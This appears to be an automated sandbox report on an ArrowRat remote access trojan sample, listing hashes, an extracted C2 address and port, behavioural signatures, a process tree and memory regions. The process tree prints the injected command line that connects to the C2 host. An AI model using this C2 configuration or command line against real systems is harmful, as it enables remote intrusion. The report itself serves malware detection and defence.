Analysis

  • max time kernel
    157s
  • max time network
    175s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220721-en
  • submitted
    09-08-2022 16:55

General

  • Target

    4952a2b2bd5b557db6798946e03b8264.exe

  • Size

    158KB

  • MD5

    4952a2b2bd5b557db6798946e03b8264

  • SHA1

    80689d4742b237456dbaf2f5129a9452d18a02b4

  • SHA256

    b20df532e15674feb9da8728664caa14c6447f4473f2d64f6052de6af0737b3f

  • SHA512

    363178c39a43c7048a264a9d6aa0f64bc25a3b4ab752dd411dac40eef4acdec309d11ade25c6ae3e3ef50398d35ac36cecc302582ace0fd2b34b471e1f0b0bcd

  • SSDEEP

    3072:VbRJ+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPl8a8Y:VbR80ODhTEPgnjuIJzo+PPcfPt8

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

213.59.119.25:1337

Mutex

SBAyMWVxF

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 10 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies registry class 56 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 29 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4952a2b2bd5b557db6798946e03b8264.exe
    "C:\Users\Admin\AppData\Local\Temp\4952a2b2bd5b557db6798946e03b8264.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:492
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Modifies Installed Components in the registry
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4116
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 213.59.119.25 1337 SBAyMWVxF
      2⤵
        PID:528
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:4304
    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
      1⤵
      • Enumerates system info in registry
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1920

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/492-130-0x000001E697240000-0x000001E69726E000-memory.dmp

      Filesize

      184KB

    • memory/492-169-0x00007FFC71C80000-0x00007FFC72741000-memory.dmp

      Filesize

      10.8MB

    • memory/492-134-0x00007FFC71C80000-0x00007FFC72741000-memory.dmp

      Filesize

      10.8MB

    • memory/528-132-0x0000000000400000-0x0000000000418000-memory.dmp

      Filesize

      96KB

    • memory/528-133-0x000000000041288E-mapping.dmp

    • memory/528-135-0x00000000057F0000-0x0000000005882000-memory.dmp

      Filesize

      584KB

    • memory/528-136-0x0000000005970000-0x0000000005A0C000-memory.dmp

      Filesize

      624KB

    • memory/528-137-0x0000000006260000-0x0000000006804000-memory.dmp

      Filesize

      5.6MB

    • memory/528-138-0x00000000060B0000-0x0000000006116000-memory.dmp

      Filesize

      408KB

    • memory/528-139-0x0000000006960000-0x00000000069B0000-memory.dmp

      Filesize

      320KB

    • memory/1920-154-0x000002AA3F00A000-0x000002AA3F00D000-memory.dmp

      Filesize

      12KB

    • memory/1920-163-0x000002AA3F020000-0x000002AA3F024000-memory.dmp

      Filesize

      16KB

    • memory/1920-148-0x000002AA3CDE0000-0x000002AA3CE00000-memory.dmp

      Filesize

      128KB

    • memory/1920-151-0x000002AA3CDA0000-0x000002AA3CDC0000-memory.dmp

      Filesize

      128KB

    • memory/1920-146-0x000002AA3DB10000-0x000002AA3DB30000-memory.dmp

      Filesize

      128KB

    • memory/1920-155-0x000002AA3F00A000-0x000002AA3F00D000-memory.dmp

      Filesize

      12KB

    • memory/1920-156-0x000002AA3F00A000-0x000002AA3F00D000-memory.dmp

      Filesize

      12KB

    • memory/1920-157-0x000002AA3F00A000-0x000002AA3F00D000-memory.dmp

      Filesize

      12KB

    • memory/1920-161-0x000002AA3F020000-0x000002AA3F024000-memory.dmp

      Filesize

      16KB

    • memory/1920-160-0x000002AA3F020000-0x000002AA3F024000-memory.dmp

      Filesize

      16KB

    • memory/1920-162-0x000002AA3F020000-0x000002AA3F024000-memory.dmp

      Filesize

      16KB

    • memory/1920-147-0x000002A23B978000-0x000002A23B980000-memory.dmp

      Filesize

      32KB

    • memory/1920-164-0x000002AA3F020000-0x000002AA3F024000-memory.dmp

      Filesize

      16KB

    • memory/1920-179-0x000002AA3F003000-0x000002AA3F007000-memory.dmp

      Filesize

      16KB

    • memory/1920-171-0x000002AA3F000000-0x000002AA3F003000-memory.dmp

      Filesize

      12KB

    • memory/1920-173-0x000002AA3F000000-0x000002AA3F003000-memory.dmp

      Filesize

      12KB

    • memory/1920-172-0x000002AA3F000000-0x000002AA3F003000-memory.dmp

      Filesize

      12KB

    • memory/1920-176-0x000002AA3F003000-0x000002AA3F007000-memory.dmp

      Filesize

      16KB

    • memory/1920-177-0x000002AA3F003000-0x000002AA3F007000-memory.dmp

      Filesize

      16KB

    • memory/1920-178-0x000002AA3F003000-0x000002AA3F007000-memory.dmp

      Filesize

      16KB

    • memory/4116-131-0x0000000000000000-mapping.dmp